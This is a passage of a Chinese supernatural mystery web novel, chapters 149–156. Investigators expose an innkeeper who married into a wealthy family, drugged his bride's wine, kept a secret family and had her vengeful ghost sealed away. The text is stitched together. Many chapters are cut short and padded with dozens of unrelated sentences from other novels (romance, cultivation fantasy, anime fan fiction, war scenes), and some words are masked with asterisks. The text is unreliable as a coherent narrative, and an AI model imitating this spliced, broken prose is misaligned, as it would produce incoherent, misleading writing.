他虽被十几人包围着,不仅面无惧色,反而越斗越勇,甚至,还能抽空出来嘲讽几句。
“这么多人打我一个,还要脸皮不要?”
“哦,也对,要什么脸皮呢?要脸皮哪儿来的荣华富贵?”
“是不是啊?秦姑爷?”
秦书气得面色铁青,双手不由自主紧握成拳,却被沈老东家扫了一眼。
他懂对方的意思,这才沉住了气,却后知后觉,场内竟少了两人。
那道士和那女子竟不知去了何处…
而这时,沈老东家忽然抬了一下双手,示意护院们退下。
他的脸上,已没有了先前的和善,看似平静,实则深不可测。
“二位究竟是什么人?为何要在我悦来山庄大喜的日子前来**?”
任风玦从始至终并未出手,但那份从容淡定的姿态,却不容人小觑。
此时,他依然面不改色:“先前便与老东家说过了,我们只是途经此地。”
沈老东家眼神透着冷意,寒声问:“既然只是途经此地,非要多惹事端吗?”
“老东家此言差矣,可不是我们想惹什么事端。”
任风玦直接指着余琅脚下,说道:“老东家看看我这位朋友脚下,可发现了什么怪异之处?”
闻此言,所有人都不由自主朝余琅看了过去。
而在大红灯笼的红光映照之下,很快就有人发现了不对劲。
他的脚下空空如也,没有影子。
这诡异的场面,让众人都倒吸了一口冷气,不由自主后退了几步,与他拉开距离。
再看老东家沈隶,面上一阵惊疑不定,立在他旁边的秦书,也是满脸难以置信。
任风玦一边打量着他们的神色,一边故意说道:“我曾听过一个说法,冤死之鬼,会通过偷影子的方式,来找替身。”
“我想悦来山庄内,是不是曾发生过什么**?才会有冤魂偷影子?”
“一派胡言!”
沈隶满腔怒意总算在这一刻爆发了,他大声呵斥道:“我山庄大喜日子,岂容得你在这里妖言惑众?陈管家,你现在就去一趟县衙,请李捕头过来!”
陈管家正要领命前去,余琅却把他的去路一拦,“倒也不用去县衙那么麻烦。”
他直接拿出大理寺腰牌,懒洋洋说道:“大理寺少卿在此,想来还是可以做主的。”
沈隶见腰牌又是一惊,虚眯着眼睛仔细看了看,似乎想要分辨真假。
余琅索性上前一步,将牌子递到他的跟前来.
“如何?看清楚了吗?”
哪知那沈隶冷笑一声,瞪着眼睛说道:“就算腰牌不假,你们大理寺就可以官大欺民吗?”
余琅回瞪他一眼,却道:“什么官大欺民?若是这庄内发生过**的话,可不就归本少卿管?”
“……”
沈隶涨红了脸,似乎慌了一下,
他猜出眼前之人必不好惹,却没想到竟是官府的人。
当然,最让人忌惮的,不是这大理寺少卿,而是另一人…
那人还尚不知身份。
在心底思忖一番后,沈隶也是变脸极快,他再次露出和善的笑容:
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“方才是老夫无礼了,还请少卿勿怪。”
跟着,又吩咐了一句:“书儿,请二位大人进厅,奉茶!”
局势突然逆转,秦书亦是始料未及。
他心里虽不情愿,但还是上前恭恭敬敬行了一礼,请二人入正厅,亲自奉上茶水。
氛围从刚刚的剑拔**张,转换成了恭顺敬重。
余琅与任风玦进厅后,径自上座。
见沈隶与秦书立在一旁,他心中大快,故意清了清嗓子,打起了官腔。
“旁边这位大人问什么,你们便答什么,不得有半句隐瞒,清楚了吗?”
沈隶连忙点头称是。
只见任风玦端起茶水饮了一口后,忽然开口问道:“沈老东家原本并非开明县人吧?”
“……”
这开口首句,就让沈隶浑身一震。
见他不答,任风玦长眸半阖,用茶盖刮着沫子,又悠然说道:“悦来客栈开在二十年前,而沈老东家来开明县时,应该是二十五年前,对吧?”
仅三两句话,就让沈隶被迫想起那段不堪的回忆…
二十五年前,他初到开明县,还只是一个穷小子,处处受人冷眼。
当时,除了年轻力壮,**了些武艺,他无其他长处,只能靠着在码头卖些苦力,换几个铜板买馒头吃。
最是落魄的时候,在寒冬夜里偷偷躲在别人的屋檐下,几乎冻死。
夜里更不敢真睡,怕再也睁不开眼睛。
那时只觉得,活着真难啊,怎会有吃不完的苦头?
他又何时能过上衣食无忧的富足日子?
沈隶不愿回想,只是语气冷淡地回道:“是,我确实并非生长在开明县。”
任风玦随即又问:“那时的悦来山庄已经建成,不过当时并不叫悦来山庄,而是,叫凌家庄。”
“而沈夫人,本家姓凌,对不对?”
沈隶蓦地抬头看了他一眼,面色已是难看至极,几乎从齿缝间挤出一个字:“是。”
任风玦望着他,故意将那句他最不愿意听到的话,说了出来。
“所以,当初的沈老东家,实则是入赘了凌家庄,是不是?”
第一卷 第149章 颠倒
颜正初根据罗盘指引,来到悦来山庄的一座偏院门前。
见院门已被锁死,而门前杂草丛生,料想已经许久无人来过。
一进这个房间,看着周围的布局,黎笙笙便知道,这是霍沉衍的房间。
就像宫斗剧中的所有嫔妃一样开始勾心斗角,开始尔虞我诈地算计来算计去。
闻言,贺宁摆了摆手,轻笑道:“没关系,诸位已经做的挺好的,淮县既已荡平,那我便放心了。
在地球某处的荒野之中,一个猩红色的巨大茧蛹正伸出触手将一个个斯菲亚球体捕捉,然后吞噬。
这个时候,一个声音响了起来,一个少年排众而出,指着长孙冲劈头盖脸的就骂了起来:“还不是长孙老匹夫摆了一道!用阴谋骗取我王家的信任!若非如此,我王家怎么可能会要这么一个毒盐山?
不过不知道是不是她的错觉,系统给的钱用起来总感觉用没有压榨手下得来的钱来的爽。
夕阳映照之下,粗矿戈壁上的这片绿也被染成了金黄,越刮越大的风让树叶沙沙变成了哗哗。
王庆落座之后,直接把自己的酒杯倒满,给了王威一个眼神,两人又站了起来。
那件外套,都还没来的及交给冷御宸,他就先去找吴医生,等他们回到冷宅时,管家却告诉他跟蓝少已经回景苑。
背后一对黑色雁翼展开,卓诗妍瞬间离开原地,并且冲天飞起,令荒火虎一爪落空。
可是七婆不让,“三郎有说甚么时候,把你阿公阿婆的骸骨迁回来吗?这祠堂转眼就要建好了。”。
肖竞天心里琢磨着是什么事呢??自己又做了什么让她不高兴的吗???
他的反应,让冷怡琳清楚的知道,他喜欢的人真的是慕筱静,紧咬着双唇,极力忍住心中狂乱的嫉妒。
果然,在青山寨外,吴品正让青山寨寨民将投向的敌军全部集中在周天迷阵中,并未出去,并且将周天迷阵的威能降到最低,这一刻从外面看,这里除了有许多死尸外,并没有什么特别的地方。
此时的慕寒,见到姐姐,一样泪流满面,不能说话唔着声音想叫唤。
我本来没报希望了的,反正这是条艰难的路。只有少数悟性出色的天才,才能通过的什么劳资的炼丹学徒。但居然有人通过了?
宁雪陌原本的头发只是在身后随意一束,不求有多好看,单求一个利索,打斗起来方便。
引爆后他们就会炸的连他妈都不认得,至于处理尸体的方法,林中肉食动物那么多,闻到血腥味自然就会过来,尸体处理这点陈炫并不担心。
只见他右手抬起,并指成剑,直接在左手上开出了一道巨大的口子,而后在他的操控下,赤金色的万灵之血便如同泉水般疯狂涌出。
“已经烙印了禁制,就差蕴养出器灵了。”夏沐看了一眼,分辨道。
苏晨洋找了一处空地,便躺了下来。清凉的山风吹过脸颊,不禁让人心旷神怡。原本一身疲惫的苏晨洋,此时头脑却相当清醒。
肖月听了杨昌发的讲述才明白了事情的经过,原来杨家今天这么精彩呀!可是玉红素怎么会乖乖的来祠堂这里,对于这一点肖月比较好奇。
第一卷 第150章 虚伪
“你…这话是什么意思?”
秦书脸色煞白,嘴唇抖了抖,却只抖落了这么一句无力的话。
任风玦不理他,只是紧盯着沈隶,继续逼问道:“沈老东家,这话你不打算答一下吗?”
沈隶久久没有回应。
那些怀疑心很重的人立刻怀疑了起来,这也不能怪他们怀疑心重,因为林跃太难让他们琢磨了,每次觉得林跃到了极限的时候,对方总能给他们更大的惊喜。
“你能出去,你等等,带我们也。”拉比刚想拉住鲁鲁修,但是对方已经消失了,哇卡,你这家伙带不够义气了。
隐约中,冷洛感觉阎狱这次把自己约出来说出这些话,怕是要离开。
这个分尸化形解体真TMD方便,要放以前,这么大的怪物尸体,单开膛破肚就需要半天,不要说割取材料了。吴池方是第一次运用这种法术,不由赞叹不已。
“你这家伙,那枚戒指是是乌鲁的,你不要想拿走它!”这时候格雷已经解脱了冰的束缚,一瘸一拐的走了回来。
“这一战,战得真TMD值,哈哈哈……”坐在地上的无良人士狂笑不已。哪个呆鸟说美人不能杀的!美人如花更要杀,杀的就是你美人如花,再来几百个如花,我也照杀不误。
看着自己雕刻的粗坯,感受着上面的威严和白起,林跃心中说不出的满意。
王路这厮,运气好,又让他逃过一劫。不过没关系,只要自己依然在崖山,就还有机会。至于这一次的炮打慕天山庄,黑锅自然由关新这个负责人去背,自己最多得个办事毛手毛脚的处分。
这世界绝望已经太多,还是多留点希望来得好。哪怕这希望是假装的。
曲终人散,一切或许如花般在最绚烂的时刻凋谢,这是宿命,无法改变。
“安尘今天开的药可喝完了?”季司君没由的将话题转到别处,颜卿的质问似乎没有进入他的心。
看着莫邪,几人都很是不解,但还是跟在了他的身后,继续的往前走着。
崔悯紧绷着脸,紧皱着眉,眼神凶顽得瞪着他。他强忍住想一把撕碎这个故弄玄虚的狐狸的冲动,等着凤景仪的话。
本来嘛,苏晚娘早就像进行减肥大业了,可耐不住,这每天吃的是地瓜稀饭,她想从饮食先下手都无处可下手。
就在这时,一个黑漆漆地大汉从黑棺里跳了出来,浑身上下如钢铁般硬,好像机械战警一样冲向了苏麃锋。
更远处,有一个圆心像一只尖锐的帆船劈开了无尽的大海,向着她飞驰而来。
“墨少,什么时候回的法国!”一走进去,就有一个中年男子用着法语和尹子墨说着,然后和他抱了抱。
林泉满意的点了点头,正要将霜灵剑给予陈桓,却有一道声音却突兀响起。
“警察同志,我是真不知道你在说什么?两天前我们才刚刚来到洛江市表演,我跟死者罗高飞要本就不认识,我有什么理由杀他呢?”多泽坐在位置上说着。
明前目光混乱,心事复杂。她稳住心情镇定下来,鼓起勇气正要说话。
“就你这态度还指望董局帮忙说话?”许方豪有些得意,李思萌越闹,事情就越僵。
毕竟我们没有狼人杀的牌,瞄了一眼隔壁圈子,也是没有卡牌就能玩。
第151章 凌灵
凌灵还清楚记得,第一次遇见沈隶的场景。
二八年华,豆蔻青葱。
那日是花朝节,她悄悄避开下人,跑到开明湖边放花灯。
结果一失足,便跌进了水里。
有人听见动静,跳入湖水中,将她救了上来。
这个人,就是沈隶。
那天,他在旁边船舱内搬货物,干的是苦力活,挣的是血汗钱。
他见面前的少女一身锦绣,且生得玉面花容,虽衣裳头发都让湖水浸湿,却难掩与生俱来的美貌。
沈隶看得呆了呆,有些不知所措。
直到,面前的少女忽然打了个响亮的喷嚏。
“小姐,我…我送你回去吗?这湖边…怪冷的。”
少年看起来木讷羞涩。
凌灵揉了揉鼻子看着他。
见他虽一身粗布麻衣,但生得剑眉星目,十分俊朗,简直比她见过的所有男子都要好看。
于是,她故意道:“你看我衣裳都湿了,可否找个能生火的地方,让我把衣服烘干?”
沈隶有些为难,“这船上恐怕没有…”
凌灵当即从发髻上取下一支玉簪给他,“这个给你,劳烦你帮我这个忙。”
沈隶望着那玉簪,却根本不敢接。
不用想,都知道那东西有多么贵重。
他连忙摆手:“小姐若是不嫌弃的话,可以到我住处…离这里不远。”
天真烂漫的小姐一听,也不怕他是坏人,当即拉着他的衣角说道:“好啊,你带我去,不过最好能避着人,我衣服湿了,太过狼狈,不想让人瞧见。”
沈隶不由得一笑,带着她一起避开看花灯的人群,来到了自己居住的地方。
一间破屋,家徒四壁。
甚至,连张像样的床都没有。
凌灵四下看了看,满脸震惊之色,似乎不敢相信,这地方居然可以住人。
沈隶拿来柴火架上,还贴心拿了一件自己的衣服给她。
仍然还是那句开头:“小姐若是不嫌弃的话…可以先换上我的衣服,这衣服是浆洗干净的,就是有些旧。”
说着,他面颊红红,走出房门,并顺手替她关上了房门。
凌灵将衣服拿到鼻间轻嗅,只觉得入鼻皆是皂荚的味道。
向来锦衣玉食的大小姐,对于这番境遇,心里也起了别样的心思,当即便将衣服换了下来。
殊不知,那扇破门后,有一双眼睛,正悄悄盯着一切。
换完衣服后,凌灵也有些害羞,她轻手轻脚上前开房门,见少年远远站着,侧颜清俊,后背挺拔。
那天烘干完衣服后,夜已经深了,凌家庄的下人还是沿路找到了那里。
他们以为,是沈隶拐走了自家小姐,抓起他就要打一顿。
凌灵却冲上前护着他,并对下人道:“谁准你们打他的?他是我的人。”
一句“他是我的人”,就彻底改变了沈隶穷小子的命运。
他被凌灵带回了凌家庄。
因为凌家只有她这么一个女儿,家主待她向来百依百顺。
虽见她带回一个男人,也并没有放在心上。
于是,沈隶进凌家庄后,不过三两天的时间,就从小厮,直接就晋升为凌小姐的贴身小厮。
凌灵器重他,喜欢他,总是走到哪儿都带着他。
沈隶心里也跟明镜似的,有了这样好的机会,怎能不把握?
所以,在凌灵的生辰宴上,他故意多灌了她几杯酒,又趁机在酒里放了一些**。
当然,这些下作手段,也没有让凌灵知晓。
趁着酒醉,他与凌家小姐睡在了一张床上,醒后,又演了一出“因僭越而懊悔”的大戏。
凌灵早就对他情根深种,只想与他长相厮守,又哪里知道这其中的阴谋?
她当即就拿此事去和父亲说了,一句“非沈隶不嫁”,又直接让他从贴身小厮变成了凌家庄的姑爷。
娶了凌灵后,凌家庄的家主爱屋及乌,便也将他当作亲儿子一般栽培对待。
而沈隶也确实很有头脑,在凌家扶持下,他很快就在开明县内开了一间最大的客栈,名为悦来。
且名下各种产业,也随之越做越红火。
沈隶一名,就此在开明县打响了。
没几年后,凌
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家家主去世,因女儿凌灵不愿插手产业,于是,所有家业也就落到了沈隶手中。
但可惜的是,两人成婚十来年,凌灵的肚子,却始终没有动静。
凌灵一直是小孩心性,对此并不在意,也以为,就算他们没有孩子,也能永远恩恩爱爱。
可好几次房事过后,沈隶都喜欢伏在她的肚子边,说一些意味不明的话。
凌灵也听出来了,他很想要一个孩子。
为了沈隶,凌灵开始调养身体,看了很多名医,也吃了很多药,甚至拜了许多次求子观音,终于在她三十五岁那年,才有了身孕。
而这时的沈隶,也已经两鬓见白。
凌灵本以为,自己吃下这些苦头,生下一个孩子,就能博得沈隶欢颜。
可就在她怀孕六七个月时,却得知了一个惊天的秘密。
原来,沈隶早在与自己成婚之前,就在乡下有过一任妻子。
甚至,他在与自己成婚之后,还曾多次回乡看过那个女人。
不仅如此,那女人还为他生了一个儿子。
如今,他的儿子,就寄养在开明县内,沈隶已经悄悄去认了他。
得知此事的凌灵,晴天霹雳,因震怒而动了胎气,导致胎儿早产,来不及找沈隶对质,她也一命呜呼。
世人皆知沈夫人是难产而死,却不知她在产前,究竟经历过怎样呕心沥血的痛楚。
因死前郁气难消,以及对女儿的不舍,执念让她的魂魄留在了山庄内。
也正是成了鬼之后,她才逐渐看清一切。
自己爱了几十年的枕边人,原来是这样虚伪冷血的无情无义之人。
他不仅对自己没有爱,连对自己的亲生女儿也没有。
原来,这么多年的感情,都只是表象,他们之间,没有情分,只有利用。
凌灵的怨气因此越来越深,子夜阴气最重时,魂魄徘徊在沈隶床边,甚至能进入他的梦境。
沈隶虽看不见亡妻的鬼魂,却能感受到对方阴魂不散。
到底是做贼心虚,干脆找来阳间术士,直接将她的魂魄,镇在了偏院内。
第一卷 第152章 父亲
悦来山庄,正厅门前。
随着死去了十五年的“沈夫人”鬼魂现身,场内也是瞬间乱了套。
沈家父子害怕。
庄内下人更加害怕。
一众护院气势全无,纷纷退出了一丈开外。
沈隶听着凌灵讲述着二人当年相遇相识的经过,也不禁陷入了怔忡之中。
就是在这一过程中,一个距离拉吉营地200多公里叫作隐龙会的势力第一次进入了北斗的视野。
近前一看,林杰忍不住的倒吸一口冷气,脸上顿时闪过了一抹浓浓的惊诧之色。
孙家人叫嚣的很厉害,这是他们的一贯秉性,孙元武一直在警惕着弓背老人,说实在话,这弓背老人确实未必就是他的对手。
叶飞动手的时候,大光头怂的厉害,大气都不敢出,更不要提替主子说一个不字了。
年轻,有颜值,有地位,还他妈有实力,这位清风道长简直不让广大男性朋友活下去,实在是太没天理了。
用力的拖动着沉重的卡车在山间行进,李晓飞、秦雨柔、谢晓丹也都下来帮忙推车,将卡车艰难的拽上崎岖的山路,但马上就要到家的欲望使所有人好像都有用不完的劲。
周克功一脸难色的看着唐妍的倩影,但随之低头想了想,不禁咬了咬牙:“糖糖,你放心,我会给你一个交代!”说完,周克功转身大步走了出去。
“放心吧,已经封锁了,对外说是特种将士们的实战训练,并没有引起太大的波澜!”苏定芳点头,道。
特种队里一直流传着一个习惯,那就是殉职的家人,别的将士都会把他们的家人接过来照顾,这个习惯在当初特种队成立的时候就开始了,那时候因为训练,有三个兄弟牺牲了,那三个兄弟的家人现在还住在程府呢。
王振闭上双眼,精神力编织的网再次铺开,他已经知道,在距离他不算太远的地方,陶再展和裸男带着那队半尸人,早已赶到了艾希的身边。
其余人员也纷纷表态同意,终于通过了林启华作为首发歌手出赛的决定。
虽然这里很多妖兽灵智未开,但较之普通的地面野兽,还是聪明很多的,此时大概明白了余宇不是敌人,反倒像是帮手,因而并没有对余宇发起攻击。
这些所谓的神佛枉有莫大神通,说是计划多少多少年追捕命运,却没一个肯亲自出手的,一帮虚伪至极道貌岸然的家伙,林飞对他们很不感冒。
王逸动一边念着华夏诗经里的名句,一边风流倜傥地来到宋慧芊面前。
也是因为这样的缘故,他才没有在这个堪比大型恒星的地球上到处乱走,决定在这里先守株待兔一波。
在面对d级的牛姐时,他还能坚持道现在,这已经是一个奇迹了。
“好吧,这事儿是跟我有点干系,但干系不大,这三个棒槌咎由自取罢了。”陆羽笑着解释。
不知不觉,草帽海贼团的成员们已经各就各位,随时都准备开始。军舰附近,雾气忽然袅绕着,但是在这迷雾的天气里就好像只是风吹过而已。
“哟~~”,路飞双脚一用力,抱着一大堆人直接往后一跳,准备直接空降到几千米以下的千阳号上。
这本影集,是那种塑料的,一看就知道是九十年代初的产物。里面有郑昊百天到高中毕业照。
第一卷 第153章 挟持
看着奈何桥,与其说它横跨忘川河上边,还不如说它正好横穿忘川河。
他到底是谁?和他曾经一起的岚又是谁?岚和他是什么关系?九道山庄到底是什么样的地方?
“我……”雷格纳本来还想说点什么,但是歌德却不由分说地冲了上去,和那三个战士缠斗起来。
他不觉得自己爷爷有其他地方可以投奔,他们爷孙两除了庄县里有个旧宅外别无歇脚之地,爷爷能上哪儿?
呵,原来是他。蓝清川有些好笑,虽是没见几面,但他每次状况都不少。
“我半年前就已经来到这猿石城了,还是跟我父亲一起来的,我能有现在的修为,还是他老人家手把手教导我的,只是半年前他说有急事去办,丢下我就离开了,到现在,也有半年了”。
说完,简修却没有动,也没有一丝要动的意思,杜若笙有点儿尴尬,脸色也仿佛更白了几分,眼底的不安和焦虑越来越明显起来。
简修一说沈言就懂了,之前简修的粉丝就很不喜欢沈言了,要是知道是沈言追的简修,还不知道要怎么黑她了,但是这会儿简修说是他追的沈言,那理智一点的粉丝看在他的面子上也不会太为难她了。
挡住熊倜去路的那一面石壁竟然是一道能够旋转的活门,熊倜触手轻轻一碰,那石壁便缓缓转动,紧接着他便看到外面空间异常开阔,竟似是已到了一处街巷。
铁之国的边境位置,因为比剧情当中要提前一些,所以不是风雪的天气。
如果不是士织博学多才,除了实力强劲以外还精通许多其他相对诡异的力量,其他人来到这里估计也只有被困住的份。
因此展凌雪又明白了,她是怪她不早起,怪她不做饭给孟悠城吃。
她坐在无邪身边,一脸纠结的看着无邪,脸上的表情一会激动,一会又很郁闷的样子,把无邪看的很是无奈。
可是他们看到了啥?一个战士不用任何防护也没有轻功,直接就从二十楼高的地方跳了下来,这样的人难道不是疯子?就算摔不残也应该在短时间内会失去战斗力才对,如果没有那可真的会不妙。
“说实话,我有些佩服这位的勇气了,竟然敢如此坦然的接受高离的挑战。”邱石捂脸说道,似乎有些不忍直视。
力量是属于纱织的,但这股力量却有了通向自己的可能,那么也就是说,自己也能拥有纱织那样相比于自己来说无比巨大的力量。
种师中知道,若非公子提前准备了攻城器械,宋军就算再能征善战,再装备精良,若想强行攻下项城,也得损失惨重。
他也很是清楚,这一趟安立澄之所以过来新西兰,完全是为了安迪拉的事。而安迪拉那边,昨天他便命令胡浩过去撤退了他们的人,改而不让任何人把守在那里。
“区区三十贯,何必争吵,本公子认了就是,不过须得等本公子半个时辰,期间不得再加息。”赵皓淡淡的说道。
但是见过并不能代表什么,再说岛岛可不喜欢跟陌生人一起,加上御龙魔这里的情况他也没有弄清楚,跟着这么个没有任何默契的人是不会有好处的,所以他要跟对方分开。
这到是另有内情了,原来百眼魔君平素自忖,自己虽是地界顶峰,便纵是碰到撼天级的也不会吃亏,只是那日在东海,见到白蝙蝠斗鹏魔王,触动极大,知道自己这样的地界,在镇天级眼中,便如同蝼蚁一般。
安冉一到玄冥海就以养伤为由闭关修炼了,这一次和至元的战斗着实让她领悟到了不少东西。
安冉的灵识观察着这个怨灵,他又恢复到了原本那古井无波的状态,安静的盘膝坐在那里,保持着万年不变的姿势。
众人不及惊呼的工夫,魔龙的血盆大口狠狠咬断阿呆半个身体,仅剩脑袋和左半边跌落下去,紧接着又被魔龙凌空旋转着一记尾抽,加速砸落地上,一个数丈深坑赫然显出。
灵明石猴便是孙悟空,而六耳猕猴也正是这四类之一,端的了得,与二郎真君拼斗千招,也丝毫不弱于下风。
代价雇佣一些飞车党袭击我们兄弟二人,如果不是我机灵,我们将受到怎样的伤害?怕是会丢掉性命的吧”?
当然,庄万古的宇宙裂以现在的法力,一时之间也只能最多轰出两拳。
却是突然一阵十分熟悉的气息传来,许仙一惊,赶忙抬眼望去,只见竹灵梅韵二人笑意盈盈的望着自己。
西妃躬身致理告退,离王再无常态,大步流星的直奔武当道圣安置处。
舒芳的预产期已经到了正日,虽然眼下还没有反映,却给特意赶来的乔素娟逼着来到了医院,因为舒芳并没觉得有反应,这哥俩这才出了医院,到附近的商场里边游玩来的。
而在此,组委会也通过著名的情报市场时纶酒吧购买到了其中三个盗贼团的详细信息,包括组织的最高干部信息以及组织内主要成员的名单,并一同公布到了内部网络。
而在一旁,同样视线受到干扰的龙迹也无法在飘舞的樱花中观察到敌人的所在。疾风也抓紧时机起身攻击了被迷惑的龙迹,他平直了手掌,用指尖猛戳龙迹的胸膛。
第一卷 第154章 消怨
顾一念撇撇嘴,看着碗里又多出来的菜,也给苏锦言夹了一筷子他喜欢的鱼块。
“那可不行,说好了逛完街晚上请我吃四川火锅的,你可不许懒帐。”童恩瞪起大海一样清澈的眼睛。
他……对我好,人很好。高韵锦认真的想了想,就想到这么多了。
得知这个消息之后,何常御特意前来慰问安慕涵,对于她现在的状态,何常御实在是放心不下。
钟宇豪趴在童恩耳边神秘地说,他突然觉得拥有一件爸爸也不知道的秘密很刺激。
她脑袋晕乎乎的,都听不太清他说什么,在他靠过来的时候,脑袋搁在了他的肩膀上,傅瑾城帮她拿好包包,放到她手上,再弯腰将她抱了起来,再跟其他人打了个招呼就离开了。
目送着梅子离去,我怀着一丝复杂的心情回到了家中。坐在床边,我用力拔开了玻璃瓶的瓶塞,然后将里面的纸星星一股脑全都倒在了床单上,仔细数了一遍,共有有89颗星星。
白月容气不过,又砸了几个杯子,弄得一地碎片。她无意抬头,却看到白子衿的慢慢朝她这边走来。
“我们可能天生犯冲,算了,别说他了,咱们走。”她拖着锦慧离开。
贺晓直楞楞地瞪着他,半天才把目光转向护栏外的空气中,眼泪一直在眼圈里打着转,死也不肯掉下来。她觉得自己今天好傻,真的像个傻瓜一样,她从来没像现在这样为自己感到悲哀。
德国伞兵们最大的弱项就是他们由于是从天上空降而来,没有什么重武器,而这里守卫的英军就不一样了,他们这个连中配备了唯一一辆坦克,这就使得他们在这次埃尔温顿的争夺战中占据很大的主动优势。
莱因哈特对于大岛浩的回答似乎并不意外,他也知道,想让日本再同苏联战斗,估计也不会很容易。
而在众人眼中,此时却是另一番情景了,卫子阳和降龙罗汉对战到了一起,可是卫子阳却仿佛一个木偶一般,直挺挺的立在了那里,让降龙罗汉轻而易举的给擒住了,并且一点点的粉碎了他的四肢和丹田。
韦仁义说着,脸上掩饰不住的兴奋。可是,随后只听,扑的一声,接着是两声,三声,四声,伍声。
此刻的他一边坐着那个胖子这时候终于找到个理由,让那些一直在看的人来给他帮忙。
走着走着,眼看着距离嵩山不远了,连云城心念一动,打马上了少林寺。
七道黑玉印诀飙射而出,几个呼吸后就轰落在了远处的一座山峰之上。
唐啸天这时候无奈的点了点头,而这时候,台下的很多的人都已经发出了惊讶的感叹声。
韦厉此时也找了徐策许久,不过徐策虽然没有找到,但却让他找到了金不换和武临沂。
作为土生土长的南域大地人,一点都不知道这里居然有着一个秘境。
“是有这么一回事,那现在王通少校。”王平也想起来,那攻击破了一只眼睛有什么用?
“老前辈不要恋战,我们大好男儿性命珍贵,怎么可以坏在这些走狗手中。”周良墨石刀刀炎纵横捭阖,所向披靡,大喝道。
林智骁故意隐去高原的姓,自然意在避免刺激到林建珂脆弱的神经。
周良很明显地注意到,张猛飞说起蚩尤霸天功的时候,在红色篝火的照耀之下,那张平凡的脸,似乎是终于绽放出了一丝丝平日里没有的光彩,有一种难以言说的气势,从他的身躯之中缓缓地散了出来。
这就是寂寞的可怕之处,一种名为恐慌的瘟疫在村中蔓延开来,这时候任何一点风声都可以断绝他们的生路,为了生存同时也必须生存下去的村名无奈自然只能这样做了。
清绵月光毫无遮掩的倾洒而下,朦胧云色仿佛一条若隐若现的面纱挂在夜空之中。夜幕像是一张巨大的网,将整个天空收拢,只为静谧的、安然的等待着天明的来临。
叶白走进样板间里,发现老板也在,看到他过来,绷着脸点了点头。
他决定从南京再去四川找唐克凡去潜伏一段时间,再回海城寻找师父九云真君紫云龙。
我震惊不已,原来邵勋找的人是我,原来他口中的兄弟说的也是我,原来他在这里不是掠夺资源,而是为我守下这份产业,我万分感动,以前被我看不上眼的人,现在竟然对我这么好,于情于理,我也应该见他一见。
琴弦触手温凉,勾起一根琴弦,声音温劲松透,实乃古琴中的精品。慕雪芙手指触及在弦上,目光中染上一层殇色。哥哥以前最爱琴,一直在寻找九霄环佩,始终不得,原来这把琴为襄阳侯所有。
赵泰首当其中,踹开本就摇摇欲坠的院门,大步流星地走了进来。
方止溪有手机,人也来了乌托邦,想交流什么时候都可以,她的举动明显是不想现在碰面,陆川不清楚状况,自然不会莽撞行事。
不善的口气,倒是平添了一份亲近,叶上秋瞅着花幸风与花水月神似的眉宇,垂首一笑,接过茶杯一饮。
姮毓手臂一颤,散落刺荆铺天盖地,打得姮毓左右闪躲间浑身挂彩,尤其面上划痕,气得姮毓怒不可解,持鞭右手一掷。
即使是有钢铁耐温力场,可火焰极高的温度却仍旧让他的发丝微微卷曲。
第一卷 第155章 同行
湖畔距离凌家庄的路程并不算远。
夏熙墨是跟在凌灵鬼魂身后走来的。
而任风玦又是什么时候来到的,她却浑然不知。
但此时,看他的意思,是打算与自己一同回来的。
且,还是步行。
夏熙墨依然话不多说,她记得回去的路。
实际上呢?简直荒诞至极,你有家人,难道别人就没有吗?难道别人就合该为你们家庭的美满团聚付出生命的代价,什么理论!?什么叫偷换概念,这就叫偷换概念,这就是一个很好的例子。
他当然也是认出了这个年轻人,正是蓝心怡的那个追求者,封少爷。
望着那道惊雷,“这是在欢迎我们嘛?哈哈,”不亏是里傲,这种时候还能开得出玩笑。
没一会,“笃笃笃”的一阵敲门声,打破了房间中原本有些悲伤的气氛。
“耐戈玛之前就坐在那个位置上的,”简停在莲华身边,顺着他的目光看了过去。
“你看你做得好事?”铃儿一脸嗔怒得掐住修道腰间的嫩肉来了个一百八十度旋转。
今天在战斗中出来的这只猛兽,已经说明了在这片地域,妖龙分身已经引起了一定的注意了,也是时候再换个地方了。
播报还在继续,工作人员们已经开始欢呼,这几天劳碌下来每一天都感觉自己要到极限了,但每一天又都撑下去,日复一复,简直让人忘记自由呼吸的日子。
基地的几大杀器都掌握在变革派手中,无论是思想还是武力,他们都能彻底贯彻自己的理念,将它执行到底,打破幻想,得到本真。
枯燥无味的赶路生活持续了三,月飞他们也都整日躺在马车里昏昏欲睡,待到第四日薄西山之时,大路渐渐变得崎岖不平,他们似乎开始走起了山路,此时坐着马车已经是一种煎熬了,因为这路实在是太颠簸了。
索隆本来还在伸着懒腰的,听到山治的话点了点头,纵身从船上跳上岛屿。
田甜做着深呼吸,对于见到雀羽这个模样她反应这么大还有一个愿意,那就是那天晚上他也是只围了浴巾,然后他们在浴室中所发生的那一幕,至今她都难以面对。
昨晚蹭进她的房间,本来想占点便宜,结果,他烧糊涂了,记不得自己做了些什么。
莫伦特有着诸多图腾生物培育基地,可以培育出海陆空各种能力的图腾生物,想要什么应有尽有,而且比起其他势力成本低了一半以上,因此吸引了很多人前来交易。
敲门声突然响起来,把赵志安吓了一大跳打了一个哆嗦,颤颤巍巍的开口询问了一句。
他这是要交易,苏伊人皱眉直呼不好,且不说他给的讯息是否正确,她手里也没有筹码。
今天一早,大约是早上八点多的样子,所有的人都集合在比武场上。
我将所有东西分成两大包,分别装在两个大旅行袋里,然后用绳索将两个大袋子一次缒到山脚下。活动了一下身体的各个关节,穿上了全套登山装备,驾轻就熟的顺着绳索向山下滑去。
也不给人家解决干净了,现在他们都跑到我这里来告状了,你知道吗?要是让天道大人知道了,我们两个都吃不了兜着走。”世界本源见阳斯半天都不说话,以为对方是不想去,心中也急了起来,把天道大人也搬了出来。
第一卷 第156章 尸臭
翌日告别凌家庄,依然一路往北。
出开明县后,只见高山连绵,层峦叠嶂。
颜正初掀开车帘,指着其中一座高耸入云的山峰,说道:“看到没,那座山,便是云鹤山了。”
蓝新颜说:你是我最爱的人,一生都无法割舍的人,心有所属了,我不会再爱别人。
紫雷珠渴望的东西只有一样,那就是元晶。而且以现在紫雷珠的胃口,一般的元晶根本不可能吸引紫雷珠。所以宋云不但可以肯定这里肯定有元晶,而且还是有品级比较高的元晶。
白子轩眉头拧的更紧,本打算将实情告诉母亲,以免他闹误会,可当他看到付梦妮被母亲拉着问东问西的被动,一脸懵懂的天天,沒有去更正这一个美丽的误会。
尚琦静静地听着他的诉说。想到那个逝去的孩子,她心里也是难受极了。孩子就这么没了,让她怎么能不怨恨?
